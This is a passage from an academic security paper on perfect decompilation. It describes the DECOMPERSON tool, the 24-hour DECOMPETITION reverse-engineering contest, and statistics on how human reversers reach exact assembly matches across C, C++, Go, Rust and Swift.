rithmically equivalent to the original binary. The topic has also
been explored by Verbeek et al. [44], who recently developed
FoxDec, a decompilation framework based on formal methods
that produces sound and recompilable source code. In this case,
the recompiled code is guaranteed to have the correct behavior,
but this may be difficult to verify independently, as the resulting
binary could be considerably different from the original.
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In general, automatic decompilers that aim for readability
tend to sacrifice correctness (or at least recompilability),
while those that aim for correctness do so at the expense of
readability. If we want decompilation that is both correct and
human-friendly, we must still rely on the ingenuity of humans.
Human Decompilers. Given that human reverse engineers
still produce the best decompiled code, it is surprising that
there are very few studies on how they do so. Existing studies
focus on higher-level understanding of binary programs, and
not on the low-level art of decompilation, which could provide
insights that could improve automatic decompilers. This paper
aims to bridge that gap.

In general, the problem of reverse engineering binaries
falls under the umbrella of program comprehension, which
is the study of how programmers understand unfamiliar code
bases [27, 40, 45]. This is a very broad field of research, which
includes understanding how programmers repair and maintain
software [46, 47] and how to create better tools to support the
comprehension process [25, 41].

In the past few years, program comprehension researchers
have started examining the process of reverse engineering.
Bryant [6], for example, presents three studies that explore the
conceptual aspects of reversing by various means: notes and
video taken during a reversing experiment, a semi-structured
interview with experts, and a “think-aloud” session where
participants were asked to reverse a key generation algorithm.
More recently, Votipka et al. [48] interviewed sixteen reverse
engineers as they reenacted a recent reverse engineering
activity. These interviews were also semi-structured, and the
authors used them to extract common themes. Taylor [42] pre-
sented a system to study the behavior of reverse engineers by
using an instrumented virtual machine that collects mouse and
keyboard events, process creations, and changes in window fo-
cus. Finally, Mantovani et al. [30] studied how humans reverse
engineer binary code, with an emphasis on the differences
between novices and experts. Their approach used a Restricted
Focus Viewer: basic blocks were blurred unless selected, allow-
ing the authors to precisely track the subjects’ attention. Most
of these studies were—necessarily—small. They examined
the reversing process using methods that were human-friendly
but not amenable to automated analysis. As a result, the data
was limited to what the researchers could analyze manually.

Exploring the reversing process at scale remains challeng-
ing. The biggest obstacle is the difficulty of quantifying the
reversers’ understanding: there is currently no metric that can
describe how well a reverse engineer understands a function.
This is further complicated by the fact that experience plays
a key role in reversing, and reversers of different skill levels
may reach very different levels of understanding. Even having
a standard set of tasks does not guarantee consistency. Expert
reversers might be able to carry out their tasks successfully
with limited (but focused) understanding, while novices might
need to acquire more in-depth, detailed knowledge about a
binary before being able to meaningfully modify or exploit it.

We believe that the problem of quantifying comprehension
can be addressed by using a more formal language to explain
program behavior. Specifically, we require reverse engineers
to communicate their understanding of a function in the
form of compilable source code. In other words, we compare
the process of understanding binary code to the process of
decompilation.

2 Perfect Decompilation

In this paper, we study the human reverse engineering process
in terms of a new metric of program comprehension that we
call perfect decompilation. We consider decompiled code
for a function to be perfect if, when compiled with the same
compiler and options as the original, it produces the exact
same assembly.
Benefits. Expecting perfect decompilation is a high bar, but it
allows for a number of useful features. Primarily, it gives us a
quantitative measure of program comprehension: decompiled
code can be evaluated based on how close it is to perfect. In
this paper, we measure understanding as the Jaccard similarity
coefficient over lines of assembly code.

Perfect decompilation also gives reverse engineers an obvi-
ous “done” state. Code that achieves perfect decompilation has
very clearly captured the behavior of the original function. It
also avoids the ambiguity present in pseudo-code and natural
language. Saying “this function averages a list of integers”
does not capture what happens when the list is empty, but the
source code of the function will.

Furthermore, defining everything in terms of source and as-
sembly code—both common and well-defined representations
of programs—allows for reverse engineers’ mental models
to be analyzed programmatically. As a result, studies can
be scaled to hundreds of individuals, unlike interview-based
approaches that are necessarily small and focus on qualitative
results.

Finally, perfect decompilation is trivial to prove correct:
a simple assembly diff is enough to prove perfection (or to
show what instructions differ). In contrast, proving that code
is functionally equivalent requires unit tests, and even these
are insufficient without an additional measure of coverage that
ensures all code paths are tested.
Limitations. Perfect decompilation is not a traditional reverse
engineering task, so there is some risk that using this metric
will distort the reversing process. For example, reverse
engineers do not usually report their findings as compilable
source code, so this requirement will add more work. However,
we believe that reverse engineers already have a code-like
mental model of binaries, and that it takes only minor extra
work to make this explicit.

Perfect decompilation also focuses on the careful analysis
of functions. Other skills are also important for reverse
engineers—for example, the ability to skim a large binary
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to determine on which functions to focus—but these will not
necessarily be captured by our metrics.

There is also a risk that reverse engineers may spend a non-
negligible amount of time “fighting with the compiler.” This
refers to the extra time spent by reversers who have a complete
mental model of a function, but struggle to reach perfect
decompilation due to the idiosyncrasies of the compiler.

We believe that only the third point above is a true threat
to our work, and that it is outweighed by the benefits of using
perfect decompilation.
Contributions. We define perfect decompilation as a new,
quantifiable metric of program comprehension. We develop
a tool, called DECOMPERSON, that supports human reverse
engineers during the decompilation process and helps them
achieve perfect decompilation, recording the steps they
take along the way. We then set out to answer the following
research questions:

RQ1: Are humans capable of perfect decompilation?
RQ2: If they are, what processes do they follow when

decompiling?
RQ3: Are these processes representative of more tradi-

tional reverse engineering (program comprehension)
processes?

Our findings are based on the submissions to an online
security competition in which reverse engineers were asked
to use DECOMPERSON while decompiling binaries written in
five different languages.1 Over 150 people participated—twice
as many as the next-largest study, and an order of magnitude
more than most—making this, to the best of our knowledge,
the largest decompilation study to date. It is also the first study
that has a concrete metric for levels of understanding during
the reverse engineering process.

By analyzing these submissions, we show that perfect
decompilation is within reach of humans today, and therefore
a reasonable goal for the automated decompilers of the future.
The results also show which key activities performed by
humans should be targeted by tools supporting the reverse engi-
neering process, and provide insights that can be used to build
and improve automated and semi-automated decompilers.

3 DECOMPERSON

We developed a custom tool, which we called DECOMPERSON,
to collect source code submissions. The tool was designed to
give reverse engineers complete control over their source code
and to encourage frequent submissions, allowing us to collect
many “snapshots” over the course of the reversing process.

Typical reversing tools, such as Hex-Rays [20], Ghidra [17],
or Binary Ninja [3], provide some form of decompilation

1Most existing studies and associated tools focus on C/C++ decompilation
only; we also cover Go, Rust, and Swift.

functionality,2 but users have very little control over the
output. User input is typically limited to a small set of
well-defined interactions, such as renaming variables or
functions, providing type annotations, and inserting comments.
When using these tools, a reverse engineer’s workflow consists
of iteratively applying these annotations in order to coax better
and better source code out of the decompiler.

We believe that this style of interaction is too restrictive
to reliably produce perfect decompilation. As an alternative,
DECOMPERSON gives users complete control over the decom-
piled code and helps them modify it until it compiles identically
to the original binary. Since this method of decompilation is
heavily reliant on the user, the tool attempts to make the user’s
job as easy as possible. DECOMPERSON makes discrepancies
between the generated binary and the original one obvious, and
it provides a tight feedback loop, showing the user how each
source code modification changes the generated binary code.

The high-level workflow of DECOMPERSON is the
following: 1 users edit the source code using our interface;
2 the source code is sent to our back-end component, where
it is compiled, disassembled, tested, and diffed against the
original binary; 3 the binary is scored based on the metrics
described in Section 4, and the results, including the diff, are
sent back to the interface.
The Interface. The heart of the DECOMPERSON system is the
user interface, shown in Figure 1. On the left side, the interface
shows editable source code, which the user can compile at any
time. On the right side, the interface shows the target disas-
sembly and any output from the compilation process. When
compilation fails, the right panel displays any errors reported
by the compiler. When compilation succeeds, DECOMPERSON
shows the disassembly of the resulting binary, both in raw
format and in diff-style, which shows the differences between
the compiled binary and the original binary’s assembly code.

This diff view is the most important part of the system, as
it shows reverse engineers exactly where their binary does not
match the target, providing immediate feedback on the effects
of any source code change—typically within two seconds
of the user hitting the “Compile” button. In order to help
reversers focus on the more important structural changes first,
minor differences—such as instructions that differ only in
their operands—get more subdued highlighting.3 Both styles
of highlighting are visible in Figure 1.

The interface also provides a few other useful features. For
example, clicking a line of assembly highlights the corre-
sponding line of source code; this mechanism is responsible
for the matching blue highlights in Figure 1. The interface also
offers a “Replace” function that lets reversers make cosmetic
replacements that clean up the disassembly view; for example,
one of our playtesters used this feature to hide stack layout

2At the time of writing, these tools are not able to produce decompiled
code that can be recompiled.

3The majority of these differences are caused by mismatched stack
layouts, as seen on lines 33–34 of Figure 1.
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Figure 1: The DECOMPERSON interface showing a partial solution to the baby-c challenge. The current decompiled source code
(provided by the user) is visible on the left, and the assembly diff is shown on the right. Instructions present in the target but missing
from the submission are shown in purple, while instructions that should be removed from the submission are shown in yellow.
Lines 16–20 of the disassembly show significant differences, and are displayed with a bright background; lines 33–34 contain
only operand differences, and are shown with a subdued background. The user has clicked on line 25 of the assembly code, and
the corresponding line of source code (line 22) has been highlighted to match.

mismatches completely—decluttering the diff while working
on control flow—and then fixed the stack layout at the end.
The Disassembler. We chose to show binary differences as
line-based assembly diffs. This has the benefit of familiarity:
all reverse engineers know assembly, and virtually all will have
used a command line diffing tool, like diff or git. There is
also the benefit of simplicity: the diff format can be displayed
in any text editor.

To keep these diffs usable, we needed assembly that was free
of any noise that would lead to spurious highlighting. The main
sources of noise are absolute memory addresses, which depend
on how the compiler lays out the binary. Examples of these ad-
dresses are code references (such as addresses used in call and
jmp instructions) and global data references (such as addresses
in the .bss region). Highlighting diffs that include these refer-
ences would be cumbersome for DECOMPERSON’s users, since
these differences are rarely fixable by editing the source code
of the function in which they appear. To avoid these problems,
DECOMPERSON includes a custom disassembler that replaces

absolute memory references with symbols where possible, or
generic identifiers where not. For example, lines 13–14 of the
assembly code in Figure 1 show a sanitized block label and
jump, line 19 shows a symbol replacement, and line 21 shows
a sanitized global memory reference. The disassembler also
recovers string constants, as seen on line 21, helping reversers
by keeping the disassembly as self-contained as possible.
The Back-End. Whenever a user hits the “Compile” button,
the user-provided source code is sent to the DECOMPERSON
back-end. This component compiles and tests the source code
submission in a container, and then scores it based on the
differences between its assembly and that of the target. If unit
tests are available for the binary, the submission is also scored
based on its performance on the tests. These scores are used
as a measure of source code correctness, and also serve as the
basis of the competition described in Section 4.

Compiling submissions on a central server allows us
to use the correct compiler for each submission, and also
relieves users of the burden of installing and managing
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different compilers for each language. In the current version
of DECOMPERSON, we presume to know the toolchain and
the compilation options used to build the original binaries, and
use the correct versions to compile any user submissions. This
was sufficient for our research; a more advanced version could
integrate compiler provenance techniques to automatically
extract this information from binaries [8, 33–35, 37] and allow
users to add or select new compilers. This architecture also
allowed us to collect every source code submission that our
users made. This generated a large corpus of submissions,
recording our users’ reverse engineering processes from their
very first tentative solutions to an exact disassembly match.

4 DECOMPETITION

The data we analyze in this paper comes from an online
competition called DECOMPETITION, which we designed and
ran in November 2020. This was a competition purely focused
on reverse engineering and, to the best of our knowledge, the
first of its kind.4

Format. DECOMPETITION was a 24-hour Jeopardy-style
competition.5 Each challenge was an executable binary, and the
competitors’ goal was to write source code that would compile
to an identical binary. Scores were based on binary similarity,
and calculated by both assembly diffing and unit testing.

Competitors were required to submit their source code
through the DECOMPERSON interface, but were not required
to use the interface for reversing; output from other reversing
tools could easily be pasted in. Competitors were given access
to DECOMPERSON and all the challenges as soon as the com-
petition started, and could make any number of submissions.

Competitors played on teams of unlimited size. Anyone
wishing to play solo could play as a team of one, and most
players chose to do so.
Challenges. Multiple people from the UCSB security lab
contributed a total of 23 challenge binaries, covering five major
compiled systems languages: C, C++, Go, Rust, and Swift. The
binaries were not stripped, but did not include any debug infor-
mation. An overview of these challenges is shown in Table 1.

The challenges were designed to use the features and
peculiarities of each programming language. For instance, a
challenge written in C traversed a linked list of structs, while
a C++ challenge made heavy use of classes and Standard
Template Library containers. Similarly, a challenge written
in Go was designed to use complex numbers, while another
challenge made use of Rust traits and networking.

4This research has received IRB scrutiny, and was determined to be
exempt under Category 3. No personally identifiable information was used.

5In Jeopardy-style security competitions, participants solve a number of
challenges from a list of options. They do not interact with other participants,
as is instead customary in traditional attack-defense security competitions.
Both Jeopardy-style and attack-defense competitions are often referred to
as “Capture the Flag” (CTF) competitions.

We selected challenge ideas primarily to cover a variety
of language features. A spectrum of difficulty levels was also
desirable, but harder to estimate; challenge authors controlled
difficulty by limiting the number of lines of source code.
Authors also provided some scaffolding for each challenge:

• A set of unit tests to ensure that the semantics of the
original program were reproduced.

• Starter code to provide to the DECOMPETITION
participants, which typically contained only stubs for
the functions a participant was expected to decompile,
data-type stubs, or include directives.

• A list of the functions that should be disassembled and
diffed, which was used as an input to the disassembler,
to make sure it only disassembled user-defined functions.

As a bonus, we provided Binary Ninja Intermediate
Language [4] for all challenges. This is a “semantic repre-
sentation of [...] assembly language instructions”—a form
of decompilation that attempts to capture the operation of
binary code without tying it to any particular programming
language. This intermediate language served as an additional
perspective on the challenge binaries, and could be used even
by participants who did not have access to a decompiler. Like
other forms of decompilation, it tended to be helpful for C
binaries, but less so for other languages.
Scoring. We assigned each challenge an arbitrary value
between 100 and 500 points. These values reflected estimated
difficulty, and were mainly based on challenge size and the
presence of language-specific constructs that would make the
binary harder to reverse.

The values are well-correlated with the number of assembly
lines per challenge (Pearson’s r = 0.83), and their inverses
are well-correlated with the number of perfect submissions
per challenge (r=0.70).6 There is also a correlation between
challenge value and average time to solve, but this is weaker
(r=0.54 for mean; r=0.59 for median).

One challenge per language was designated as a “baby”
challenge. These challenges were simple but worth extra
points, encouraging players to start there to learn the basics
of reversing code written in that specific language and to
familiarize themselves with DECOMPERSON.

Each submission received a score based on the following
weighted components:

Test Score: Each challenge had a collection of test cases that
were not disclosed to the participants. Test case points
were awarded proportional to the number of test cases
passed. These points made up 20% of the total score.

Diff Score: The majority of the points came from matching
the target assembly. Each submission was compiled and
its user-implemented functions were disassembled. This

6This jumps to r=0.90 if the 200-point baby-c challenge is considered
an outlier and removed.
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Challenge Statistics Submission Statistics

Language Challs Points
Source
Lines

Assembly
Lines

Ratio Submissions Compilable
Passing

Tests
Perfect

Decompilation

C 4 500 110 396 3.60 10,060 8,022 1,634 186
C++ 5 1,400 491 2,548 5.19 9,155 6,065 1,091 50
Go 7 1,800 310 1,730 5.58 10,192 7,617 4,018 44
Rust 4 1,300 219 1,695 7.74 3,524 2,561 1,252 26
Swift 3 1,200 178 2,871 16.13 2,599 1,686 405 23

Total 23 6,200 1,486 9,240 7.06 35,530 25,951 8,400 329

Table 1: An overview of the DECOMPETITION challenges and submissions. Ratio is the average number of assembly lines
produced per source line. Only one perfect submission is counted per (team, challenge) pair. The number of Go submissions is
inflated by the top two teams trying to brute-force the unsolved julie challenge. See Appendix C for a more detailed breakdown.

Figure 2: Demographic information from the background survey. The bar graphs on the left show how participants are involved in
computer security, and for how long. The area plots on the right show how familiar participants are with programming and reversing
each of the languages used in the competition, as measured on a five-point Likert scale. Responses from all 308 respondents are
shown in light purple; responses from the 93 “committed” respondents who earned a 50% score or better on at least one challenge
are shown in dark purple.

portion of the score was calculated as the intersection-
over-union (Jaccard similarity coefficient) of the submis-
sion versus the target, and made up 60% of the total score.

Bonus Score: In order to encourage participants to generate
perfect decompilation, the final 20% of the points were
awarded only when a submission matched the target
assembly exactly.

A team’s score on a challenge was the maximum score
achieved by any of its members’ submissions. A team’s total
score was the sum of these per-challenge scores. There was
no limit on the number or frequency of submissions, and any
new record would improve the team’s score; there was no way
for a team to lose points.
Recruiting. We recruited participants by word-of-mouth

and by announcing the competition on CTFtime [11], a
popular online index of security and hacking competitions. To
encourage participation, we split a $1,000 prize pool among
the top three teams and provided Binary Ninja licenses [3] to
the top two teams.

A total of 425 users and 238 teams registered for DECOM-
PETITION, but only a fraction of those played. A total of 188
users and 139 teams made source code submissions; 159 users
and 114 teams submitted source code that could be compiled.

Demographics. Before the competition, we invited the
players to fill out a survey about their involvement in reverse
engineering. This survey consisted mainly of questions about
how—and for how long—the participants were involved in
computer security. The full survey can be found in Appendix A.
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A total of 308 people (72% of all registrants) filled out
this survey; the results are summarized in Figure 2. The large
majority of participants were either students or hobbyists,
and only a few worked in a position where they were paid as
reverse engineers. The majority were also new to computer
security, and to reverse engineering in particular—the number
of players at each year of experience decreases exponentially.

The survey also asked participants how familiar they were
with programming and reversing the languages used for
challenges. We found that participants were well versed
in C and C++ but significantly less familiar with Go, Rust,
and Swift. Given that these latter languages are becoming
more popular systems languages, this lack of familiarity may
indicate a gap in security education or a lack of tooling support.

We asked players to fill out a similar survey after the compe-
tition. This follow-up survey is described in Appendix B, and
was intended to capture any changes in players’ perception
of reversing that occurred during the competition; it also
provided a place to leave general feedback. Only 49 players
(12% of all registrants) chose to complete this second survey,
so it is likely less representative than the first.
Submissions. In order to study the process that humans use
when decompiling, we recorded all submissions made during
DECOMPETITION. As summarized in Table 1, we received
a total of 35,530 source code submissions, 25,951 (73%) of
which successfully compiled. The majority of the submissions
were for challenges written in C, C++, and Go. With about
10,000 submissions each, these three languages account for
almost 83% of all submissions. Rust and Swift were less
popular, with around 3,000 submissions per language, likely
because of their perceived difficulty.

While fewer experts played than beginners, these experts
were able to solve more challenges, and thus made more
submissions. Overall, the submissions were balanced across
different levels of expertise. In total, 32,254 submissions
(90% of all submissions) were made by users who completed
the background survey. Among these, we received 9,553
submissions from expert users who claimed five or more years
of security experience, 7,155 (75%) of which compiled; 12,963
submissions from players with 2 to 4 years of experience,
9,271 (72%) of which compiled; and 9,738 submissions from
beginners with less than 2 years of experience, 6,908 (71%) of
which compiled. We estimate that beginners submitted around
30% of all decompilation attempts and intermediate players
around 40%, with experts responsible for the remaining 30%.

The number of submissions that passed all unit tests is also
interesting, but harder to interpret. Perhaps counterintuitively,
a language or challenge that has a higher percentage of passing
submissions is likely harder to perfectly decompile—the
reversers were able to replicate the binary’s behavior early
in the reversing process, but then had to make many more
submissions while trying to fix mismatches caused by the
compiler’s handling of various language constructs. Reversing
style also affects this statistic: reversers who reverse one

function at a time cannot pass all tests until they start work
on the final function.

There are also some confounding factors. For example, all
participants worked on the C challenges, including those who
never made much progress, while only the most committed
reversers dared attempt the Rust and Swift challenges. Addi-
tionally, the number of Go submissions was inflated by the top
two teams trying to brute-force the unsolved julie challenge.

Figure 3: How difficult is completely recreating the source
code of a small binary? Top: Survey responses from all 308 re-
spondents compared with those from the 93 committed players
who achieved a 50% score or better on at least one challenge.
Bottom: Responses before and after the competition from the
42 players who answered this question on both surveys.

5 RQ1: Can Humans Perfectly Decompile?

Expectations. We started this project unsure whether or not
humans would be able to consistently perform perfect decom-
pilation. It was interesting, then, that many DECOMPETITION
participants did not share our conservative views.

One of the questions in our pre-competition survey asked
the participants to rate, on a scale from trivial to impossible,
how difficult they thought it would be to recreate the source
code of a small binary. We summarize the responses in
Figure 3. The majority (37%) of all respondents thought it
would be a moderately difficult task, and 12% claimed that
it would be trivially easy. Only 20% of the responders thought
it would be difficult, and 5% thought it would be impossible.

The players who were able to reach a 50% score on at
least one challenge, however, had more realistic expectations.
Only 4% of this group had originally thought that perfect
decompilation would be trivially achievable,7 23% thought

7Of the 19 “trivial” respondents who made source code submissions, 15
gave up without reaching a 50% score on any challenge.

USENIX Association 31st USENIX Security Symposium    2771



Reg’d 0% >0% 20% 40% 60% 80% 100%

Users 425 188 159 120 110 103 91 91
Teams 238 139 114 82 76 72 66 66

Table 2: Numbers of users and teams who registered and who
made any submission reaching the listed cutoff scores on any
challenge. All submissions that successfully compiled got a
score greater than zero. The lack of attrition between 80% and
100% is an artifact of the 20% perfect match bonus described
in Section 4: any submission reaching 80% would earn the
bonus and jump up to a perfect score.

it would be difficult, and the majority (46%) believed it to be
a moderately difficult goal.

It is also interesting to see how opinions changed after using
DECOMPERSON. Out of the 42 respondents that answered
both surveys, 11 lowered their difficulty expectations, 10
increased them, and 21 did not revise their assessment. Overall,
the trend was towards a tighter clustering around “moderate”
difficulty, and after the competition, none of the respondents
thought that perfectly decompiling a binary was impossible.
Perfect Decompilation. The results of DECOMPETITION
show that the participants’ optimism was justified. Generating
perfect decompilation was certainly not trivial, but of the
players who were willing to put in the effort, a surprisingly
large number were able to achieve this goal, even when
confronted with higher-level languages.

As shown in the last column of Table 2, a total of 91 players
reached a perfect score on at least one challenge. This is only
48% of the 188 users who submitted source code, but 57% of
the 159 users who persisted until their code compiled. This
figure only improves if we set a higher bar for persistence: of
the 120 players who earned a 20% score on any challenge, for
instance, more than 75% would go on to reach a perfect score
on at least one challenge.

As reported in Table 1, the language with the highest
number of perfect submissions was C (186 submissions),
followed by C++ ( 50), Go (44), Rust (26), and finally Swift
(23). Interestingly, this order perfectly follows the languages’
ratio order reported in Table 1—higher-level languages tend
to produce more lines of assembly per source line, and are also
more difficult to decompile.

All challenges were attempted, and all but one were
perfectly decompiled by at least one participant. The top two
teams were able to solve all challenges except one—the Go
challenge julie—and both teams were able to pass all unit
tests and reach at least a 90% diff score on this unsolved chal-
lenge.8 Furthermore, with the exception of the C++ challenge

8The julie challenge was a Go program that used a syscall to get the
terminal dimensions, then used complex128s to calculate and draw a Julia set
as ASCII art. The first-place team had explicitly zero-initialized their winsize
struct and captured it as a struct variable rather than a reference, both changes
that (for some reason) caused Go’s register allocator to behave differently.

lambic, where lambda expressions were used extensively, all
other challenges received at least three perfect solutions.
Player Distribution. Figure 4 gives a breakdown of the
players who made any submission earning at least a 20% score,
categorized both by years of experience and by security involve-
ment. Solves per player are broken down into C and non-C
plots, as players treated C challenges differently than the rest.

Virtually all players attempted the C challenges, and
even the least-solved C challenge—the rootkit challenge,
which built and traversed a singly linked list of user-defined
structs—received 30 perfect solutions; the baby-c challenge
received the most, with 66. This resulted in a high number of
perfect solutions per player, even though there were only four
C challenges available. Experience had some effect, but not
a large one; beginners are able to reverse C relatively well.

On the other hand, experience played a more significant
role when reversing the other languages. As seen in Figure 4,
the Solves per Player ratio drops dramatically for players
with one or fewer years of experience; only a small number
of beginners submitted perfect solutions, despite there being
many more non-C challenges. Challenges written in these
languages also received more solutions from participants with
longer security careers, and those with five or more years of
reversing experience had a clear advantage. There was also
a more marked difference based on role, with researchers
outperforming the other participants.
Summary. These results validate our potentially ambitious
claims from Section 1: perfect decompilation is a reasonable
standard of program comprehension, reachable even by
non-experts. Experience, however, is certainly helpful,
especially when reversing higher-level languages.

6 RQ2: How do Humans Decompile?

Having shown that humans are capable of producing perfect
decompilation, the next step is to investigate how they do it.

Understanding this process is beneficial for a number of
different applications. In particular, a better grasp of the
reversing process and identifying the roadblocks that stand
in the way of perfect decompilation will support the design
and implementation of better tools to support human reversers.
This knowledge may also help improve automatic decompilers,
which can incorporate insights learned from human experts.

Since we collected tens of thousands of source code
submissions, we were interested in analyses that could be
performed programmatically. The metrics described below
provide quantitative alternatives to the more traditional
interview method of studying the reversing process.
Code and Score Changes. The first analysis we performed
involved the magnitude of the players’ code changes and

The second-place team handled the struct correctly, but did not realize that
the original program had used complex128s, and tried, unsuccessfully, to
replicate it with float64s.
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Figure 4: Distribution of active players and perfect submissions, broken down by involvement, experience, and language. “Active”
players reached a 20% score or better on at least one challenge. Only one perfect submission is counted per (user, challenge) pair.

the magnitude of the score changes they produced. Figure 5
summarizes the correlation between the two. The big cluster of
data points to the left in Figure 5 shows how each submission
tended to contain only minor changes from the previous
submission, which resulted in an even smaller change in
diff score. The average Levenshtein distance was only 47
characters (or 5 lines), and each submission yielded, on
average, a 1.5% improvement in diff score over the last.

Score improvement did increase slightly with edit size, but
the correlation was very loose, with a Pearson’s r of only 0.1.
In general, edits were almost as likely to cause the diff score
go down as to go up, and small edits were just as capable of
causing large score swings as large edits. Adjustments to stack
layout are a good example of this effect: changing the size
of a single local variable can potentially affect every stack
reference in a function.

These results show that reversers tried to approach the
solution through a series of small modifications, each testing
a hypothesis with a limited scope (e.g., the modification of
a single control-flow structure, or the type specification of a
single variable).

Function Focus. We were also able to measure which
functions reversers focused on over the course of a challenge.
Since our disassembler produced per-function output, we were
able to calculate per-function diff scores over time, and use
these as a proxy for attention: any function seeing frequent
changes in diff score was very likely to be the center of a
reverser’s attention.

The top row of Figure 6 shows the changes in function diff
scores over the course of three perfect solutions. The reversers
seemed to prefer working on one function at a time—although
this may have been encouraged by the per-function view of
the DECOMPERSON interface; the (estimated) places where
they switched focus are shown on the graphs. This result
is confirmed when looking at the number of functions that
change between two subsequent submissions, which we
summarized in Table 3. Of the 24,265 non-Swift submissions

Figure 5: Diff score changes versus code changes, measured
as the Jaccard distance on source code lines. For the sake of
readability, only 10% of the submissions are visible in the
scatter plot. The line of best fit is shown in light purple.

that compile,9 19,940 (82%) include changes affecting only
a single function. Edits are also highly clustered over time;
any function that was modified by one edit has about an 80%
chance of being modified again by the next.

More generally, we found that reversers tended to operate
in two distinct stages:

• During the first stage, reversers operated at the level of
the entire program. In this stage, they would stub out the
program, making sure that functions had enough code to
successfully compile, and that the functions had the cor-
rect type signatures. The latter was particularly important
for name-mangled languages: these languages embed the
type signature in the function symbol name, and our differ

9The library we used to classify code changes did not support Swift.
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Figure 6: The processes followed by three expert reversers as they solved the baby-cpp, unfair, and wolfgang challenges,
respectively. Diff scores by function are shown on top, and edit density per function is shown on the bottom. Submissions that
did not compile are omitted. Function focus can be observed both as fluctuations in function diff score and as clusters of edits.
Places where the reversers switched focus to a different function are marked with vertical lines.

could not locate functions until the prototype was correct.

During this stage, we would typically see minor
increases in the diff scores for all functions. It was also
common for the first few submissions to not compile at
all—only 37% of the initial submissions did so—and the
first submission that did compile would typically contain
edits to multiple functions.

• Once the program was stubbed out, reversers would move
on to the second stage. In this stage, they would focus on
one function until they got stuck or were able to achieve
a perfect disassembly match. Once this happened, they
would move on to the next function, repeating this step
as many times as necessary to fully recreate the program.
This pattern is visible in Figure 6, where changes in focus
are marked with vertical lines.

These observations mirror the model extracted by Votipka et
al. [48]. In their study of the more traditional reverse engineer-
ing process, the authors found that reversers operate in three dis-
tinct phases: overview, sub-component scanning, and focused
experimentation. In the overview phase, reversers acquire a
broad overview of the program’s functionality, which is then re-
fined in the latter two phases. Our analysis shows that reversers
follow a similar approach when decompiling binaries: Our
phase one condenses the overview and sub-component scan-
ning stages, as reversers determine what the binary does, and
recreate how its functional components fit together. Our phase
two corresponds to the focused experimentation stage. Each
source code submission is effectively a hypothesis about how
a function was implemented, and the response from DECOM-
PERSON offers evidence either for or against that hypothesis.

Number of Modified Functions
Language 0 1 2 ≥3

C 540 6,931 443 108
C++ 570 4,954 322 219
Go 760 6,200 522 135
Rust 300 1,855 268 138
Swift — — — —

Total 2,170 19,940 1,555 600

Table 3: The number of edits that touched any given number
of functions. The vast majority of edits only modified a single
function.

We also observed that the reversers chose functions to
focus on based on the binary’s control flow graph. Most
reversers operated in a breadth-first manner: 75% of the
perfect solutions to two-function binaries focused on main()
first. For binaries with three or more functions, 46% of the
solutions focused on main() first, while 29% saved it for
last. This preference for breadth-first reversing held for all
challenges except the C challenge rootkit, where depth-first
was slightly more popular, and all the Rust challenges, where
multi-function edits were more common and function focus
was harder to discern. There was no significant difference
between the behaviors of beginners and experts; function
order seems to be a matter of personal preference.

Edit Classification. The previous analyses highlight the
magnitude and location of individual source code changes,
but tell us very little about the reversers’ intent when making
those changes. We would also like to know the semantics of
each edit: what specific feature of the binary was the reverser
trying to reproduce?
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To extract this information, we used Tree-sitter [43], a
source code parsing library that supports all of the challenge
languages except Swift, which we did not include in this
analysis. Given a string of source code, Tree-sitter calculates
a “concrete syntax tree,” which includes the location of each
syntax node within the source string. We could combine this
information with the location of an edit to determine which
syntax nodes were affected. We then used the types of these
nodes—also provided by Tree-sitter—to classify the edit.

We recognize a total of eight semantic categories:

Control Flow: Constructs that redirect the execution of a
program, such as conditionals, loops, and exceptions.

Declarations: Definitions of new variables, typically locals.
We classify these separately from other statements be-
cause they change the layout of a function’s stack frame.

Functions: Changes that alter the signature of a function,
such as changes to the return type, name, or arguments.

Name Changes: Changes that only affect a single identifier,
typically caused by reversers renaming variables.

Statements: Typical imperative programming statements,
like assignments, increments, and function calls.

Types: Constructs that define custom data types, or edits to
member variables.

Comments: Changes to comments, typically made to
temporarily remove code, or to clean up the starter code.

Miscellaneous: Other edits. These are primarily changes to
import statements, preprocessor directives, and the like.

A single edit can have multiple classifications, depending on
the syntax nodes affected, and can contain multiple instances
of the same classification. For example, adding the following
C function

float hypotenuse(float a, float b) {
float a2 = a * a
float b2 = b * b;
return sqrt(a2 + b2);

}

would count as seven edits, namely three function edits
(the function and its two parameters), two declarations, one
statement (the function call), and one control-flow edit (the
return statement).

The ability to classify edits gives us a more detailed view into
the reverse engineering process. Figure 7 provides an example.
In this case, the reverser had initially focused on the main()
function, and was able to reach a reasonably high diff score
by decompiling its body, as evidenced by the declaration and
statement edits. After about ten minutes, however, other func-
tions were needed by main(), and the reverser switched to the
stubbing phase described previously. This can be identified by
the prevalence of function prototype edits, and the fact that they
appear in many functions at approximately the same time. The

Figure 7: Edit types over time as the top team solves the
unfair challenge. The diff score of each function (and of the
challenge as a whole, in the global row) is shown as a light gray
background. The stubbing phase is visible as a spate of func-
tion signature edits around the ten minute mark; the reverser
then focuses on one function at a time, bringing each one up to
100% with a series of edits to the function body. Another view
of this process is shown in the central column of Figure 6.

reverser then went to work on find(), then clean(), and fi-
nally crypt(). These latter changes were all function body ed-
its, and classified as variable declarations, control flow changes,
and generic statements (assignments and function calls).

In general, participants made most of their function
signature edits early in the course of reversing a function,
and most of their variable name edits later on, once they had
a better idea of what the variables were used for. Data type
edits also tended to be made later. Declaration, statement,
and control flow edits made up the majority of the reversing
work, and remained consistently common, with the reversers
showing a slight preference for handling control flow early
on and fixing declarations towards the end.

Other patterns of edits appear in specific circumstances.
Reversers trying to fix stack layout mismatches, for example,
will make lots of edits to variable declarations, while reversers
recovering user-defined structs will make mainly data type ed-
its. And some languages have their own idiosyncrasies; during
DECOMPETITION, for example, teams fighting with Go’s reg-
ister allocator would often try renaming variables in an attempt
to appease it, resulting in a multitude of variable name edits.
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Summary. Reversers prefer to make frequent, small code
changes, submitting often and refining their mental model
of the program based on the resulting assembly changes.
Experience is useful, particularly for higher-level languages,
allowing reversers to quickly map common assembly patterns
to the corresponding source code patterns.

We also found that reversers tend to start work by recreating
an outline of the program, providing stubs for all the important
functions—a task that could be made easier in a dedicated
function stubbing view with a built-in demangler. They then
refine these functions one at a time, typically in an order based
on the control flow graph.

Within each function, there were two main challenges: to
replicate the behavior of the function and to make sure the
local variables are in the correct stack slots. These tasks could
also be streamlined with dedicated views: a graph-matching
algorithm could be used to generate local variable aliases
(instead of stack offsets) for use while working on function-
ality, and variable declarations could likely be reordered
automatically to give the correct stack layout. The reversers’
concentration on single functions also suggests that humans
are able to generate perfect decompilation without relying on
